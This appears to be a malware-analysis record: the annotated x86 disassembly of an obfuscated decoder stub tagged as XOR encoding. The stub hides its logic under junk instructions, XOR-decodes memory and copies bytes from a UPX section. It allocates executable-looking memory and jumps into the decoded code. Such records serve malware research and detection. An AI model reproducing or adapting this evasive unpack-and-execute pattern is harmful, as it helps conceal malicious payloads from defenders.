Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe298f438
mov eax, edi
sub edi, 0x858d6f48
mov eax, 0x708b0571
popal
sub eax, 0x4c0cc3c2
and edi, edi
add eax, 0x3054bd2f
mov edi, 0
mov edx, ebx
mov esi, 0x4308f935
or eax, eax
mov ecx, edx
mov eax, esi
and esi, eax
not esi
mov ebx, ecx
dec eax
add eax, eax
inc edi
not eax
or eax, eax
add eax, esi
cmp edi, 0x1000b44
jne 0xa789d3
and eax, esi
mov eax, esi
dec eax
dec eax
sub edi, 0xa1e251b6
not edi
mov edx, 0xa78796
add esi, esi
add ecx, 0x66dd9b94
dec ecx
mov ebx, 0xa7898a
dec esi
sub ecx, edi
sub edi, 0xc732cabe
mov eax, dword [edx]
or esi, esi
sub ecx, 0x97b6170b
mov edi, esi
and eax, 0xff
mov esi, 0x871bc62a
sub ecx, 0x713eaa60
xor dword [ebx], eax
add edi, ecx
sub esi, 0x9d7c64c5
sub edi, 1
inc ebx
sub esi, 1
inc esi
dec esi
inc edx
sub edi, 0x4aa25cf2
sub esi, 1
dec esi
cmp ebx, entry0
jl 0xa78a26
mov edi, 0x1f1c51d8
dec edi
sub esi, edi
sub edi, 0xc1acbf21
dec edi
and edx, edx
dec ecx
sub ebx, 0xb26c7b9b
mov edi, 0xa7898e
add ebx, 0x3c4aaa9e
add esi, 0x281ec967
mov edi, dword [edi]
add esi, edx
sub ebx, ecx
sub ecx, edx
mov edi, dword [edi]
or esi, esi
inc edx
sub ebx, 0x15c89e25
sub esp, 4
mov dword [esp], edi
add edx, 0xa15c85d7
or ecx, ebx
add edx, 0xb5597021
mov edi, 0xa7898a
sub edx, 0xb51d4cc8
sub edx, 0x813997aa
add ecx, 0x59ee1167
mov edi, dword [edi]
and ebx, ebx
not ecx
inc edx
mov edi, dword [edi]
mov ecx, 0xdb6af72c
sub ebx, 0xa45e1800
push 0xa78992
or ebx, ecx
sub ecx, ebx
mov edx, ecx
call edi
or esi, ecx
inc esi
and esi, ebx
pop edi
not ecx
inc edx
dec esi
sub esp, 4
mov dword [esp], 0xa7899f
add esi, ebx
not ebx
push eax
and ebx, ebx
mov esi, 0x42492144
not esi
call edi
dec ecx
add ecx, 1
sub esp, 4
mov dword [esp], 0x40
and edx, ebx
add ecx, ecx
push 0x3000
mov esi, ecx
and ebx, edx
push 0x20000dd1
and ebx, ebx
sub esi, 1
push 0
sub ebx, esi
inc esi
sub ecx, 0x5658a7d6
call eax
add edx, ecx
sub edx, 0xfbc420e2
mov ecx, edx
add eax, 0x20000d33
inc ebx
mov edx, ecx
sub edx, 0xfc437921
mov edi, 0x4a5c3d29
mov ebx, edx
inc ebx
or edx, esi
mov dword [eax], edi
mov ebx, esi
not ebx
mov ecx, ebx
mov edi, dword [eax]
inc edx
add edx, 0xef096605
not ebx
cmp edi, 0x4a5c3d29
je 0xa78ba2
mov ebx, 0
mov ecx, dword [ebx]
sub ebx, 0x56c118a7
not ecx
add edx, ecx
mov ecx, 0xc9b0f8ac
mov edi, 0xfa3ca0bb
not edi
mov eax, edi
mov ebx, section.UPX1
dec eax
sub eax, 0xde4e6ffb
not edi
mov esi, 0xa78795
add eax, 0x13f4793f
and eax, eax
mov ecx, 0
sub eax, 0x8ed08367
sub eax, 0xceff21e5
mov edx, 0xa78796
sub edi, 0x6de677fd
inc eax
lea edx, [ecx + edx]
sub eax, 0xaff3dec1
add edi, eax
mov edx, dword [edx]
and edi, eax
sub edi, 0x50219e6c
and edx, 0xff
mov eax, edi
sub eax, edi
inc ecx
mov edi, 0xe19aec68
sub eax, 1
cmp ecx, 0x1f4
jne 0xa78c2a
mov ecx, 0
not eax
mov eax, edi
inc edi
dec eax
xor dword [ebx], edx
mov eax, edi
or edi, eax
add ebx, 2
add eax, 0xbc2c1c99
not edi
add eax, eax
cmp ebx, esi
jl 0xa78be6
and eax, edi
add eax, eax
dec eax
add eax, eax
mov edi, eax
mov edi, section.UPX1
and esi, esi
not edx
mov ebx, section.UPX1
inc esi
not edx
mov eax, 0xa78795
mov edx, esi
sub edx, esi
sub edx, 0x29848fc3
mov ecx, 0
mov esi, edx
add edx, 0x1a64895
sub esi, edx
mov cl, byte [ebx]
and esi, edx
add edx, 0xac43a72b
mov byte [edi], cl
inc edx
dec esi
sub esi, edx
inc edi
inc esi
not edx
sub esi, edx
add ebx, 2
inc edx
dec edx
and edx, edx
cmp ebx, eax
jle 0xa78c86
or edx, edx
dec esi
or eax, eax
sub edi, 0x1a914bed
push 0x8dc6a0
add eax, edi
add eax, 0x7f4d60f2
add eax, edi
ret